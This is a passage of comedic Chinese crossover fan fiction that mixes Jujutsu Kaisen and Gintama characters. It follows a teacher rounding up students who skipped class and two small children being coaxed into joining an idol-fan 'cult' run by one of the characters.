不管他们以后去哪里招揽教徒，站在多少的人群中，都免不了举着印着这滑稽吉祥物的旗帜，面对路人的目光。
越想就越觉得心塞。
尤其听完土方十四郎的设计理念之后，更加不同意。
这和偶像也没关系吧？而且这不就是往里面塞私货吗？
因此，在最初的时候遭到过不少人的反对。
但不管过程如何，最终，土方十四郎还是靠着自己的淫威，让所有人被迫臣服了。
以至于就算是现在，这个雕像也还是众教徒心中，那不可细说的存在。
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>但敏锐的经纪人发现，最近有一批人，似乎真情实感地觉得这个雕像好看。
稍微一调查才发现，这群审美一致的人都有一个相同点，那就是都是被宅十四的女装吸引入教的。
发现这一点的经纪人，有那么一瞬间怀疑过自己的审美，毕竟还是他挖掘的宅十四出道的。
在他胡思乱想的功夫里，伏黑惠和伏黑津美纪已经被迫听完了土方十四郎的长篇大论。
而土方十四郎也并不是良心发现，而是发现自己说的这些对孩子来说太深奥了，他们听不懂，于是遗憾地暂时放弃了。
但是俗话说得好，审美都是从小培养起来的。
他托着下巴，看着面前两个小豆丁，开始认真思考着把俩人挖进教派的事情。
看着这个眼神，伏黑惠和伏黑津美纪齐齐地打了个冷颤，心里只有不祥的预感。
“那个，大哥哥。”伏黑惠紧绷着脸，“不是说要和好朋友和好吗？不要耽误了正事。”
“对、对。”伏黑津美纪猛地点头，“不能让人等太久，会觉得你心不诚。”
想了想，拉他们俩入教的事情可以从长计议，于是土方十四郎便暂时放过了他们，和经纪人嘱咐带俩人参观之后，就抬脚朝着最里面的房间走去。
看着土方十四郎的背影，伏黑惠和伏黑津美纪双双松了口气，然后意识到还有人在，立马又板正了表情。
经纪人觉得好笑地摇了摇头：“不用紧张，这个雕像… …纯属教主大人的个人爱好，不是所有人都是他这样想的。好了，我先带你们参观参观其他地方，正好我们教派之前，给教徒们定制的统一服装到了，你们一人领一件回去。”
伏黑惠和伏黑津美纪双双沉默了，无言地对视一眼。
这是刚出狼窝又入虎口啊，看来他们今天注定有这一难。
咒术高专内，夜蛾正道夹着教案朝着教室走去，脚步相较于前段时间来说，轻快了不少。
从昨晚他就听说，今天难得的二年级能够聚齐，一起在一个教室上课。
上一次一起上课还是在上一次。
细细想来其实也没有隔多久，但就是有一种恍如隔世的感觉。
怀着自己也不清楚的期待心情，他准时提前十分钟进入了教室。
空荡的教室内还是那三张桌椅，唯一的女同学已经趴在桌上开始假寐。
但期待中的另外两个学生并没有在教室。
夜蛾正道地脚步一顿，然后不着痕迹地继续朝前走，在讲台边停下，将手里的教案重重拍在讲台上。
听到这声音，早就习惯了的家入硝子，全身连抖都没抖，闭着眼睛擦掉嘴角的口水，然后懒散地站起身，朝着前方晃晃悠悠地鞠了一躬。
“呼啊，老师早～”
夜蛾正道：“… …”
他闭了闭眼睛，再睁开，然后又闭了下眼睛，试图用这种方式，缓解自己一大早就燃烧得过于旺盛的火气。
“硝子，悟和杰呢？”
“嗯？他们不是还没回来吗？”
“没有回来？”
“啊！”意识到自己说漏嘴，迷迷糊糊的家入硝子瞬间清醒，打着哈哈，“诶呀，可能是突然又有事了吧？青春期的男孩子们都是闲不住的，夜蛾老师应该深有体会吧？”
夜蛾正道深吸口气：“那你知道他们两个人在哪吗？”
“呃，夏油不知道诶，但是五条的话，他早上给我发短信，说是昨晚睡觉做噩梦，腿和肚子抽筋了，要请一天假。”
这得睡成什么样的姿势，才会同时抽到这两个地方的筋。
这蹩脚的理由听得夜蛾正道冷笑连连：“是吗？硝子，你和我一起过去，我倒要看看他这抽筋有多严重，连反转术式都治不好。”
家入硝子一脸嫌麻烦的样子，不情愿地“诶——”了好长一声，被夜蛾正道瞪了回去。
66.第六十六章
这时，教室的门边上探过来一个脑袋，悄咪咪地朝里面看。
这本人觉得隐蔽，但对别人来说过于显眼的动作，瞬间就被教室里的两人注意到，他们停下说话，转头看去。
发现自己暴露了，那人先是下意识躲了起来，接着被在她后面的人推到了外面。
猝不及防被队友卖了，那人无措地乱舞了一会，然后顶着众人的目光，不好意思地挠了挠脸颊：“哈哈，各位早上好。”
和一脸茫然的家入硝子不同，夜蛾正道稍加思索便想了起来对方身份：“你是… …天内理子？”
“对的，您就是夜蛾老师吧？粗、粗次见面… …唔。”
紧张地吃了个螺丝，天内理子脸上泛起不好意思的红晕，自我介绍也没能继续下去。
以为是自己长相吓到了对方，夜蛾正道收起刚刚被自己学生气到发黑的表情，放缓了语气，将其从窘迫的氛围里解救出来。
“请问你来高专是有什么事吗？”
“啊，我是来道谢的。”天内理子微微抬高手，举起拎着的袋子，“黑井教我做了一些点心，我想带来送给你们… …”
她低垂着眼眸，就算是现在，只要稍微想一想另一种可能的现实，心脏就会下意识地加速跳动，那是她在害怕：“我现在能站在这里，都是有你们的帮助。我知道这点东西作为谢礼太廉价了，但我现在身上也没什么值钱的东西，我会努力学习，等以后考上大学，找到好工作，再努力赚钱买更好的谢礼。”
做了那么久咒术师，家入硝子还是第一次看到有人上门道谢，有些怔愣。
对他们来说，接受任务之后，要么成功拿取报酬，要么失败葬身战场，所谓的当事人，更多的是负责后勤的辅助监督去沟通。
就算因为任务需要，要他们和一般人询问情况，在任务完成之后，咒术师往往也会干脆地斩断彼此的联系。
而一般人就算想再找上门，也无从知道方法。
他们咒术师就这样有意识无意识地，在细枝末节中，刻意和普通人划开界限。
看到的世界不同，肩上背负的重量不同，就注定他们无法真正互相理解。
而天内理子，这个从小因为特殊体质，从而介乎于普通人和咒术师之间的人，才能带给了他们这种新的经历。
夜蛾正道看着那鼓鼓囊囊的袋子，半晌才开口：“职责所在，我们只是做好自己该做的。”
“那也不能因为这个，就连道谢都不说啊。”天内理子鼓起脸颊，将袋子里包装好的几盒甜点，半强硬地塞到家入硝子和夜蛾正道的手中。
“哇啊，我竟然也有吗？”
家入硝子拿着带着塑料盖子的甜品盒，眼睛瞪圆，感觉有些稀奇。
天内理子看了眼家入硝子眼下浓浓的黑眼圈，再多给了几盒。
“谢谢！”家入硝子接过，“感觉放在医疗室柜子里，解剖完尸体什么的之后，来上这么一口，心情都会变好呢。”
用非常平常的语气说出了很不得了的内容，吓得正递给夜蛾正道甜点的天内理子，手一抖，险些打翻。
夜蛾正道叹了口气：“… …硝子。”
“啊，抱歉抱歉。”
“说起来。”旁边的黑井美里，一直一脸慈爱地看着天内理子，此刻她环顾了下不大的教室，“另外两位呢？是有什么任务吗？”
“… …咳，那到不是。”
没有什么，比丢人的时候，正好被外人撞见更尴尬的了，但想想那两个的厚脸皮，估计也不在意这些。
于是夜蛾正道独自尴尬一瞬之后，坦然地说：“他们两个翘课了，现在估计都在宿舍偷懒呢。”
天内理子首先惊讶于奔走于危险之中的咒术师，原来也是要上课的。
接着就想到了当初和他们的第一次见面，那两个人对于上学迟到，显然都是一副无所谓的态度。
当时她还以为是那两个人嘴上不说，其实内心里反对她上学，现在看来，原来他们自己就经常翘课、迟到啊。
毫不留情地揭了自己学生的短，夜蛾正道拿起讲台上的教案，对着天内理子和黑井美里说：“你们两个可以现在这里休息一下，我把那两个人逮过来。”
然后眼睛瞥向努力减少自己存在感的家入硝子，没有放过她：“硝子，你和我一起去。”
家入硝子眼里顿时充满了怨念，连提前通风报信的心思都没有了，唉声叹气地慢吞吞起身，跟着夜蛾正道朝着外面走去。
在路过天内理子的时候，她脚步一顿。
本着“多拉些人下水”，“我不好过别人也别好过””以及“给你们兜了这么多次底，稍微也考虑考虑我的辛苦”等等的复杂心理，她缓缓开口，出馊主意：“天内小姐，要不要和我们一起去凑凑热闹？”
天内理子指了指自己：“诶！？我吗？”
没想到家入硝子会提出这个建议，其他三个人惊讶地看了过去。
“啊，黑井小姐想去的话，也一起吧？”
看热闹不嫌事大，家入硝子继续往男生宿舍观光团里拉人，在看着众人的眼神里充斥着迷惑、震惊，她心情好转了起来。
黑井美里摆了摆手：“呃，我倒也没有想… …”
对于参观青春期男生的宿舍环境，尤其是这其中还住着个五条家的六眼的地方，这种事情黑井美里当然是十动然拒。
不说会不会侵犯他人隐私，冒犯到青春期少年脆弱的自尊，就是单单可能会因此冲撞到五条家这一点，就足够让她退避三舍了。
她们现在不同往日，不是咒术界重要的存在，除了比普通人来说，能看见咒灵，知道咒术界的知识外，在这些咒术界的高层眼里，可能也就是个无足轻重的普通人。
甚至对某些人来说，多年培养出来的星浆体，最后竟然没能和天元大人同化，这件事还可能会让她们成为那些人的眼中钉。
和咒术界这个体系，这样的庞然巨物相比，她们是如此的渺小，于是她现在在带着天内理子，慢慢远离咒术界，所以眼下应该尽量避免节外生枝。
但少年人的热烈与激情总是挡不住的，他们就像是被握在手中的光，就算捂得再紧，也总能找到指间的漏缝，从中发出属于他们的光亮。
所以这些担忧和计划，她都没有告诉天内理子，对方刚刚重获新生，那脸上明媚的笑容，她不想让其消失。
一无所知的天内理子丝毫没有顾忌，她虽然从小就被咒术界当只金丝雀养在笼中，但对真实的咒术界知之甚少，在眼下这个安全环境下，不加遏制的好奇心，蓬勃得像是春天雨后的竹笋。
她不知道什么尔虞我诈，只知道可以去看熟人的热闹，于是朝着夜蛾正道询问：“可以去吗？”
深知自家学生什么心理的夜蛾正道，看了眼此刻正看向别处，欲盖弥彰地吹着口哨的家入硝子，心累地妥协了。
四个人浩浩荡荡地顺着走廊前进，走过庭院，路过花坛，最终来到风格古朴的宿舍楼下。
踩着木制的楼梯，“咚咚”的脚步声在空荡又狭窄的空间内来回传送。
五条悟和夏油杰的宿舍，在走廊的最深处，远离
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楼梯，所以相对安静。
他们朝着里面走去，中间宿舍的房门打开，好奇外面声音的灰原雄从里面探出头。
“啊，是夜蛾老师！”
他瞪着大眼睛，快速扫了下面前的几个人，然后和天内理子对上视线。
“灰原！”
“天内！”
两个人在任务中结识，又一起逛了一天的冲绳，早就熟络了起来，甚至私底下还互加了联系方式。
此刻意料之外地见面，两人脸上都是如出一辙的惊喜。
眼看两个人双手紧握，就要开始闲谈，没有忘记自己教师职责的夜蛾正道，只好硬着头皮打断他们这感人的重逢。
“你怎么在宿舍？没有去上课吗？”
灰原雄立马收敛了下激动的心情：“啊，是这样的，我们课上到一半，来了个任务，好像还挺远的，要去外面待个几天，所以我和七海就回来收拾行李了。”
“这样。”夜蛾正道了然地点了点头，“你们注意安全，在外面也要照顾好自己。”
“放心好了！”
对于这两个一年级，夜蛾正道还是很放心的，他们不光实力在同龄人中算得上佼佼者，而且重要的是人听话，更不会在外面胡乱惹事。
想到这，他头就开始疼了起来。
也不知道那两人的宿舍里，有什么惊喜在等着他。
这时，灰原雄边上的宿舍也打开了门，收拾完的七海建人单肩背着包走了出来，和门外的众人一一打招呼。
然后他看向天内理子：“夜蛾老师，天内小姐是准备入学吗？”
没想到话题突然转到自己身上，天内理子惊了下：“嗯？”
这突然的提问让夜蛾正道一时间也不知道由头，他先回答了问题：“没有，天内小姐只是来送谢礼的。”
“对对对！”天内理子用力点着头，将手里的甜点塞给灰原雄和七海建人，用行动证明自己不是，也不想来这上学。
“原来如此，我看这么多人陪着一起来宿舍楼，以为是为入学做参观。”七海建人微微倾身，“是我误会了。”
一旁的灰原雄看了看除了夜蛾正道之外，全员女性的队伍，一时间也有点懵。
作为老师，夜蛾正道的住所在教职工专用的楼里，加联想下刚刚收到的谢礼，那就只剩下一种可能了。
“那这么说，夜蛾老师你们是来给五条前辈和夏油前辈送谢礼的吗？”
“可惜，猜对了一半。”家入硝子含着从口袋掏出的棒棒糖，笑容格外灿烂，“是来叫两个大懒虫起床的，两位学弟一起来看看热闹吗？”
七海建人脸色一变，想也不想地就要拒绝：“不，我就… …”
可惜还是既没有灰原雄的速度快，也没有他的嗓门大。
“好啊！让我们一起喊他们起床吧！”
就这样，四人的队伍，又扩充成了六人队。
一起在走廊排排站，甚至还有些拥挤。
都到门口了，夜蛾正道也懒得再多纠结于会丢多大脸，相反，如果这能让他们俩个长长记性，也还不错。
这么想着，他抬起胳膊，想要先从相对而言，还算有一半靠谱的夏油杰开始叫起。
“夜蛾老师！”灰原雄歪了歪脑袋，“夏油前辈不睡在这。”
他指了指五条悟的宿舍，浑然不知自己忽略细节说出来的话有多惊悚。
“他昨晚和五条前辈睡在一起了。”
“… …什么？！”
七海建人深吸口气，抬头望天，用力抹了把自己的脸。
67.第六十七章
在事情变得更严重之前，七海建人连忙说清了原委。
“其实是最近不知道什么情况，夏油前辈的第三人格总是会在大晚上跑出来，害得第二人格没法好好休息，所以拜托五条前辈帮忙看着。”
“这、这样啊。”
夜蛾正道擦了擦自己额头的冷汗，松了一大口气，作为一大早的惊喜来说，这有些过头了。
刚从爆炸性误会中回过神，天内理子就听到了这简略却清晰的解释，只感觉是很适合在悬疑类小说里出现的设定。
“第二人格？第三人格？”她看向七海建人，“他不是只有两个人格吗？”
黑井美里也跟着点了点头。
对于这个咒术师拥有两个人格的事情，她们在任务中都已经知道了。
毕竟上飞机前还严肃靠谱的人，下了飞机到了冲绳，竟然突然就亲和起来，甚至逮着天内理子拍照，嘴里还不停说着些诸如“JK制服赛高”之类，让人听着就想报警的话。
这反差，已经不是简简单单一句“他平时克制得好”就能说得过去了。
经过对他同伴的询问，才知道这人果然有严重的人格分裂。
为此她们还感慨了好几晚，年纪轻轻就要直面这么多危险不说，做个咒术师竟然还把自己搞出了精神病。
七海建人了然两人的疑惑，解释着：“这两个人格都是最近才出现的，之前的第一人格，或者说是主人格，是个非常靠谱… …在大事上非常靠谱，性格温和的，还算能尊重的前辈。”
“‘还算能’是什么意思？”灰原雄替自己最尊重的前辈打抱不平，然后转头补充提醒着，“所以天内千万不要在前辈面前说起这些啊，我们都担心，这样会引起他的过激反应，让他的病症加重。”
“这样啊。”听到这些，天内理子内心更加难过，“他最近，是因为任务压力太大，才变成现在这样的吗？”
“… …不。”
说到这里，七海建人犹豫了，不知道该不该说出原因。
虽然大家私底下都对这个传闻没有怀疑，但是他总觉得有些不对劲，平时的夏油前辈确实天天把“保护弱小”放在嘴边，看得出他性格细腻，很会体谅他人。
但是作为咒术师，应该心理没有那么脆弱才是。
在他犹豫的时间里，灰原雄看他迟迟没有回答，就替他回答：“是因为夏油前辈前段时间失恋了。”
“啊？”
出乎意料的原因，让天内理子和黑井美里双双瞪大眼睛，没想到原本以为苦大仇深的剧本，瞬间变成了校园恋爱剧。
“也不能断定吧？”七海建人还是坚定自己的想法，“虽然所有人都这么觉得，但不排除有出入，真实情况还是要问问当事人。”
“也是，就是不知道这个传闻，最初是从哪传出来的，要是能找到源头，还能好好问问清楚呢。”
看着面前热火朝天的讨论，家入硝子转了转嘴里的棒棒糖，在无人注意的角落，将目光移到了走廊窗户外。
今天的这天，可真天啊。
听够了学生的八卦，夜蛾正道想起来还有正事要做，他轻咳了一声，缓解一下除了自己，无人察觉的尴尬心情，朝边上跨一步，来到五条悟的房门口。
他抬起手，刚想敲门，就发现门和门框间有一道缝隙。
轻轻一推，因为生锈而有些不灵活的门，发出“吱呀”的声响，露出漆黑的屋内。
这怕不是开了一晚上的门，心也太大了点。
虽说在高专内，天元大人的结界中，安全基本是可以得到保证的，但是多少也应该有些警惕，不怕一万就怕万一。
夜蛾正道沉了沉脸色，连带着背后的几个学生也渐渐收声，跟着一起进入屋内。
借着门口微弱的光亮，能看到地面上多了一套被褥，很明显是两人中的其中一个，在这上面凑合了一晚。
但此刻只剩下一床凌乱的被褥，上面并没有人。
意识到这一点，几个人将目光往上抬，看向唯一的一张床。
七海建人频频瞥向天内理子和黑井美里，非常担心会让外校人看到什么笑话。
紧张的氛围在不大的房间内散开，众人下意识屏住了呼吸。
听着耳边微弱的呼吸声，夜蛾正道心里很复杂，既有对学生放松警惕的惊诧，也有对其竟然真的是在翘课睡觉的生气。
他大步跨上前去，在背后的众人“呜啦啦”上前，一起围在了床边。
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自从来到这个世界，坂田银时难得睡了这么长时间。
因为前段时间利用诅咒师身份调查高层，加上昨晚半夜被打扰睡觉。
可能还有一部分，最近暂停诅咒师活动，难得有了空闲时间，内心放松了的原因。
最后再加上系统那边最近不知道在搞什么，一直处于维护中，早上也没有电击闹钟把他叫醒。
种种因素叠加在一起，导致他今天睡过了头。
还处在半睡半醒阶段的他，一开始并没有意识到这点，只觉得今天的夜晚有点长。
他在床上翻了个身，24小时不闭合的六眼，一如既往地接收着四周的信息。
但今天的信息量，相比平常有点大，就像是同时有好几个咒术师围在他身边。
意识到这一点，坂田银时放松的背部，僵硬了起来，脑中混乱的思绪也瞬间清晰。
然后他惊恐地发现，这竟然不是错觉，是真的有好几个人围着自己？！
再仔细一看，竟然全是熟人。
他呼吸一滞，经验老道的他，立马就猜到自己这是睡过头了。
在床上装睡了一会，看着床边的人不光没有走的打算，甚至开始撸起了袖子。
他觉得不能再这样下去，于是悄咪咪地眯起一道眼缝，想着接下来该怎么做。
还没等他想好说辞，就被人发现他已经醒了。
“醒了就给我起来！”
熟悉的怒喝在耳边炸开，坂田银时不情不愿地睁开眼，先是给家入硝子使了个眼色。
却被对方躲开。
“？”
“别东看西看的。”夜蛾正道眉毛一竖，“听硝子说，你昨晚腿和肚子抽筋了？要不要让硝子看看？”
“… …不用了，睡了一觉感觉好多了哈哈哈哈。”
坂田银时打着哈哈，看了看夜蛾正道的脸色，小心翼翼地从被子里伸出一只脚，想要够床下的拖鞋。
碍于有客人在场，夜蛾正道也不想太失形象，深吸口气，问：“杰呢？”
“… …啊，不知道。”
夜蛾正道缓了缓，为了保险起见，还是问了一嘴：“为什么你们两个昨晚睡一个房间，是发生什么事了吗？”
“没有没有，就是他最近梦游，让我帮着看看他。”
“那他人呢？”
坂田银时无辜地摊开手：“巧了，我也不知道。”
青筋在夜蛾正道的额头不断冒出，强大的适应力让他控制住自己，不至于在客人面前失礼。
夜蛾正
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道不再询问，直接说道：“你不是不想上课吗？那正好，去把杰找回来，顺便带句话给他。”
看着坂田银时看热闹不嫌事大的样子，完全没有对自己做错了事的一丁点反思，他顿了顿，然后冷笑一声：“他期中考试不及格，回来准备重考。”
“哦吼。”
坂田银时笑得呲开牙，满脸幸灾乐祸。
“笑什么笑，你成绩比他还要差！你们两个都给我准备好补考！”
坂田银时嘴角下撇，瞬间收起了笑容。
这下乐的人变成了在场的其他人。
夜蛾正道说完就不再多逗留，转身离开了这个人满为患的宿舍。
严肃的长辈不在，小辈们立马活络了起来。
从来不知道什么是挂科的天内理子，故意在嘴里发出“噗噗”的笑声：“哦呀，没想到某人竟然还要补考。”
“你懂什么。”坂田银时整个人懒散地靠在床边，“没有补考的学生生涯是不完整的。”
早就习惯了坂田银时张口就是歪理，天内理子毫不动摇：“那我还是忍痛拥有个不完整的学生生涯吧。”
灰原雄给他打着气，脸上是一贯的乐观：“没关系的前辈，虽然我没有补考过，但我相信前辈一定可以通过的。”
天真的灰原雄，如果他知道坂田银时考试的具体分数，恐怕也说不出这么乐观的话了。
这安慰人的同时还扎一下心的说话方式，换做别人估计就要开始跳脚了，可惜对面是个脸皮厚的坂田银时，刺就算扎在他身上，尖头也能立马折了。
区区补考，就算过不了也没关系。
反正最后丢脸的也不是自己。
让他学习是不可能的，这辈子都不可能。
算是半个始作俑者的家入硝子秉持着一丝丝同期爱，笑得不是很大声：“补考哈哈哈，你真不怕那俩人找你们算账？”
“算账？”坂田银时歪嘴一笑，“我就不信他们还能冲过来打我。”
家入硝子笑而不语，不怎么怀疑自己两个同期会这么做。
这短暂的谜语人对话，没有引起其他人的注意，早就坐立难安的七海建人对着灰原雄使了使眼色。
“既然五条前辈还有事情要忙，我和灰原就先告辞了，辅助监督还在下面等我们。”
说完就急不可耐地朝门口走去。
坂田银时后知后觉：“他们背着大包小包的，这是要出远门？”
“对啊，有个要出差的任务。”家入硝子将吃完的棒棒糖棍子，扔到垃圾桶里，“你呢，准备现在去找人吗？”
“就算找人，我也不知道去哪找啊。”
坂田银时像是一滩液体，靠着床头顺滑地滑落，然后就地一滚，把被子在身上裹紧，大有睡个回笼觉的架势。
“不用担心，我的定位设备还有显示。”
家入硝子食指和大拇指撑开坂田银时的眼皮，将显示着土方十四郎位置的地图，举到他眼前。
“还好当初没有图省钱选便宜的，虽然不知道发生了什么事，但是好在在他身上安装的定位还能用。”
天内理子沉默了，然后拉着黑井美里后退了一步。
她偏了偏头，小声和黑井美里嘀咕：“咒术师，原来都是这个样子的吗？”
“… …我觉得不是。”
“那就是他们之间独有的，畸形同期情了。”
黑井美里看向天内理子：“看来是时候检查下您阅读的书籍了。”
“诶？啊！不要啊！”
68.第六十八章
如果给伏黑惠一个重新选择的机会，他绝对不会踏进这个天元教一步。
仔细想想，上天应该是给过他警告的。
比如土方十四郎请客吃饭却没有钱。
或者叫来的人商量着把他和伏黑津美纪一起拉入教。
再或者天元教内部那个奇怪的雕像。
但不谙世事，性格天真的他，还是一次又一次的选择相信了他们。
这才让自己一步一步陷入更深的泥沼之中。
可惜他没有时空倒流的能力，也没有挣脱现状的力气，所以只好麻木着一张脸，端正地坐在凳子上，因为凳腿太长，双脚还挨不到地。
此时的他换了件上衣，一件他一眼都不想多看的上衣。
但说这件衣服的设计思路，说简单倒也简单，甚至可以说是平平无奇，是店铺打折促销的架子上，随手一翻，就能翻到一大堆的那种。
而这设计出乎意料的地方在于，没人想到，这么简单的设计竟然能碰撞出这么大的杀伤力。
配合着即将到来的夏季，衣服做成了短袖，以饱和度超高的荧光粉做打底色，只有在正面印着一个紫色长发的美少女图案。
如果伏黑惠年纪再大点，有更多上网的机会，就会知道，这种衣服普遍都有一个总称——痛衣。
但很遗憾，他现在才三岁，这并不是他这个年龄层会接触到的东西，他只知道这里的人称他身上的衣服为教服，说是入教者要人手一件，以后必须穿着这个衣服，才能被允许参加教派活动。
伏黑惠第一次对邪教的恐怖，有了实体的感受。
在他的周围，围着一圈天元教的教徒，他们身上穿着同样的衣服，站在一起动来动去，路过的人看上一眼，就会觉得眼睛疼。
伏黑惠紧闭双眼，不希望自己的眼睛被继续污染，敏锐的耳朵却不断捕捉着周围的对话。
“可以啊，你穿着这衣服看起来真精神。”
这是睁眼说瞎话，社交技能点满的人。
“听说是教主大人亲自设计的，谁说这设计不好的，这设计可太棒了，不愧是教主大人。”
这是滤镜开太大，就算教主大白天抬头，说“星星真多”，也会点头附和的追随者。
“这俩个孩子不错，看着就喜庆，很适合做我们教派的神子。”
这是想要拉人入伙… …不对。
伏黑惠睁开眼看过去，看着那人认真的眼神，开始汗流浃背。
不是吧，他要被强硬拉入伙了吗？那以后，他都要穿着这衣服了吗？
他低头，看了看身上因为过于宽大，而显得印花微微变形的衣服。
这个颜色对成年人来说很辣眼，对小孩子来说却是刚刚好。
坐在他旁边的伏黑津美纪就很喜欢，她虽然不认识印花上的人是谁，但是也发自内心地觉得是个好看的姐姐。
一件衣服是自己喜欢的颜色，还印着好看的姐姐，双重要素叠加，让她喜欢得不行。
伏黑惠人小鬼大地叹了口气。
就算是个小豆丁，他也有男子汉的包袱。
印象里，他没有看到过有男子汉穿着粉嫩嫩的衣服的。
他脑子里闪过一个模糊的画面，一个身材魁梧的男子，穿着黑色系的衣服，将他抱在怀里。
嘴上不耐烦，动作却是稳稳当当，轻轻柔柔。
男子汉就应该是那个样子。
伏黑惠鼓起脸颊，闷闷地想着。
他心里升起不情愿，悬在半空的双脚磨蹭在一起，却没有说话。
因为他知道，自己被土方十四郎邀请过来做客，要是一声不吭就走掉，会很不礼貌，而且还会让他难过。
他不想让别人难过。
在犹豫中，刚刚讨论让他们做神子的教徒走上前，虽然满脸笑容，但是看得伏黑惠浑身起鸡皮疙瘩。
其中一人选择了别的问题，准备用这个切入话题：“小朋友，你觉得我们教派怎么样？”
伏黑津美纪用力点了点头：“嗯！大家都很好，我很喜欢这里。”
伏黑惠：“… …”
看着伏黑惠没有回答，几个人将目光转到他的脸上。
这让伏黑惠瞬间压力飙升，于是只好硬着头皮，点了点头。
得到满意回答，几个教徒脸上的笑容加深了几分。
其中一个人顺其自然，开始流畅地讲述他们教派的建立，以及信仰的偶像的各种趣闻。
熟练地用一个个轻松的小故事，让两个孩子了解他们教派，同时也减少他们对自己的戒备。
小孩子总是喜欢听故事的，但是天生心思细腻的伏黑惠，在这故事里感受到了一些不同寻常的意味，心里留了个心眼。
一番故事下来，按照以往，面前的人应该对他们教派有了好感，这时只需要再接再厉，自然而然地抛出那个问题。
“你们有兴趣加入我们教派吗？”
伏黑惠眼神瞬间平静：“… …”
他就知道。
伏黑津美纪没想太多，只觉得这么好的教派竟然在邀请自己，有些受宠若惊：“诶？我吗？”
“对，你们两个哦。”教徒搓了搓手，“我们刚刚在一旁观察了一会，觉得你们不管是外观还是品行，都很适合做我们教派的神子，怎么样？这可是能近距离接触到爱酱的身份，感兴趣吗？”
“爱酱！”伏黑津美纪眼睛亮了起来，在刚刚的故事里，她已经了解到，自己现在衣服上那个姐姐，就是这个教派信奉的偶像，她不光长相可爱，歌声动听，而且性格温柔还关爱每一个属于她的粉丝。
是集世间所有美好为一体的存在。
伏黑津美纪一瞬间就心动了，在要答应的时候，她注意到了全程都很沉默的伏黑惠。
就算再怎么心动，身为姐姐，身为最亲近的亲人，她都要顾及到自己弟弟的看法。
于是她稍稍平静了下心情，小心地问伏黑惠：“小惠，你是怎么想的啊？”
伏黑惠低了低头，紧抿着嘴唇，眼睛在刘海下偷偷瞄着伏黑津美纪。
做为熟悉伏黑惠的姐姐，伏黑津美纪立马明白了他的意思，于是想了想，最终还是满脸歉意地回绝了：“很感谢你们告诉我们这么多，但是抱歉，我们可能不是很适合。”
“怎么会！”
教徒没想到自己会被拒绝，想了想，从口袋里掏出一个手机。
“世界上怎么可能会有人讨厌爱酱，一定是你们还没听过她的歌。”
“啊？我们没有讨厌她。”
眼看着事情越来越复杂，再待下去，他们可能这个白天都要被迫听教徒们的安利，伏黑惠觉得就算不礼貌，也要想办法逃离现场。
他缩了缩脖子，硬着头皮说：“叔叔阿姨，时间有点晚了，我们要回家了，不然父母会着急的。”
“不晚不晚，等会叔叔亲自开车送你回去。”
“顺便尝尝我们教派提供的餐点吧？很好吃的哦。”
眼看着面前的教徒们你一句我一句，瞬间就把话堵了回来，伏黑惠脸上渐渐泛起无助。
他双手紧紧抓着凳面，心里下意识开始祈祷。
有谁可以过来帮帮他？
仿佛是为了回应他的呼唤，面前的大门被缓缓推开，一个人踩着灿阳的光辉，迈进喧闹的大厅。
阳光在他纯白的发丝上留下暖色，嘴角四十五度上扬的弧度，彰显着来人的不羁。
伏黑惠眼睛中重新充满期颐。
那人昂着头，踏着脚，像是进了自己家一样随意。
他不经意地看了过来，然后露出一脸，被一坨刺眼的荧光粉刺痛双眼的表情，不愿多看，扭头就想走。
但接着，像是又注意到了什么，突然顿住了动作，然后上半身一个原地一百二十度回转，直直地看了过来。
他微微低头，鼻梁上的墨镜划下，露出一双苍蓝的眼眸，然后迈着大长腿三两步走了过来，停在伏黑惠面前。
然后蹲了下来，眼睛直勾勾地看着伏黑惠。
在这极近的
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距离里，伏黑惠看到面前这人一秒切换三个不同表情，有些担心对方会不会闪到面部肌肉。
两人这么对视了一会，然后伏黑惠就听到他缓缓开口。
“这么可爱的小孩子，哭起来声音一定很大吧？”
伏黑惠环顾四周，没发现其他同龄人。
于是晃了晃身体，发现对方眼睛随着自己晃动，意识到对方竟然真的是在说自己。
他震惊，愤怒，接着是看透一切的平静。
这种情况他在书上学过，叫蛇鼠一窝。
教徒们看着坂田银时那张脸，再看了看他的发色和身高，彼此使了使眼色。
“竟然是你！那个不敬者！”
其中一个教徒大喊一声，脸色愤愤地指向坂田银时。
他属于教徒中的精英，每周都会参加由教主组织的大会，对坂田银时这张只出现过一次的脸，可谓是印象相当深刻。
之前，虽然碍于教主的之前让他们体谅新人之类的话，但并不能阻挡住他们的不满。
于是坂田银时当时的言行，已经被私下里传播开来，导致几乎所有教徒都知道，有个白发的，一米八五朝上的蓝眼睛青年，对他们的教主出言不逊。
刚刚大家虽然认出了这些特征，但是由于并不知道那人长相，所以没有第一时间指控，现在有人带头确认了身份，立马都停下手里的事情，齐齐地看了过去。
原本只是跟在坂田银时后面看热闹的天内理子，察觉到了面前众人的不善，或者说是单单针对坂田银时的不善。
她收起脸上的好奇，将自己的存在缩到最小，朝着边上小跨步，努力离矛盾源头远一点。
坂田银时对这些置若罔闻，站起身扫一眼众人，然后双手捂住眼睛：“呜哇！真是审美堪忧的痛衣啊，这是要干什么？一起手拉手用辣眼的着装痛击现充，然后上社会新闻宣布爱酱统治地球，创造一个只有御宅族的世界吗？”
天内理子看过去：“… …你是怎么从衣服设计里，想出一个故事梗概的？而且还是前后毫无联系的那种。”
“想象力，我加了点想象力。”坂田银时低头看着伏黑惠，突然夸张地叹了口气。
伏黑惠瞪大眼睛，努力让自己看起来不好惹一点：“… …你到底有什么事？”
可惜效果不佳。
坂田银时如实说着：“啧，看着你这张脸，我总觉得有点不爽。你有什么头绪吗？”
伏黑惠：“… …”
他移开视线，不久前才体会过的无语感，又熟悉地出现在面前。
“啊，是您啊。”
在这片紧张的氛围中，才分发完教服的经纪人后知后觉，注意到不对劲，连忙站了出来。
“请问是来找教主大人的吗？”
此言一出，周围不爽的目光中，增加了震惊。
丝毫不避讳周围一圈人，坂田银时双手插兜：“对，老师让我找他回去上课。”
顿了顿，他不怀好意地提高音量：“还有让他回去补考！”
教徒们眼神立刻清澈起来，他们对教主私下里的生活知之甚少，而面前这个“不敬者”似乎又与教主十分熟稔，显然关系并不是明面上那么简单。
而且看教主助理的态度，好像对方说的都是真的。
他们看天看地看空气，就是没有一点想走开避嫌的意思，一两个竖起耳朵，听得十分认真。
经纪人：“… …”
他也没想到，坂田银时一来就要整个大的，作为经纪人，他有义务维持好自己手下艺人的形象。
于是连忙止住了还想接着爆料的坂田银时，拉着他离开了大厅。
眼看着送瓜人被拽走，教徒们失望的同时，开始窃窃私语，想要从刚刚那段不算长的对话里，分析出个所以然来。
但奈何信息实在是太少，难以填补他们已经被勾到天际的好奇心。
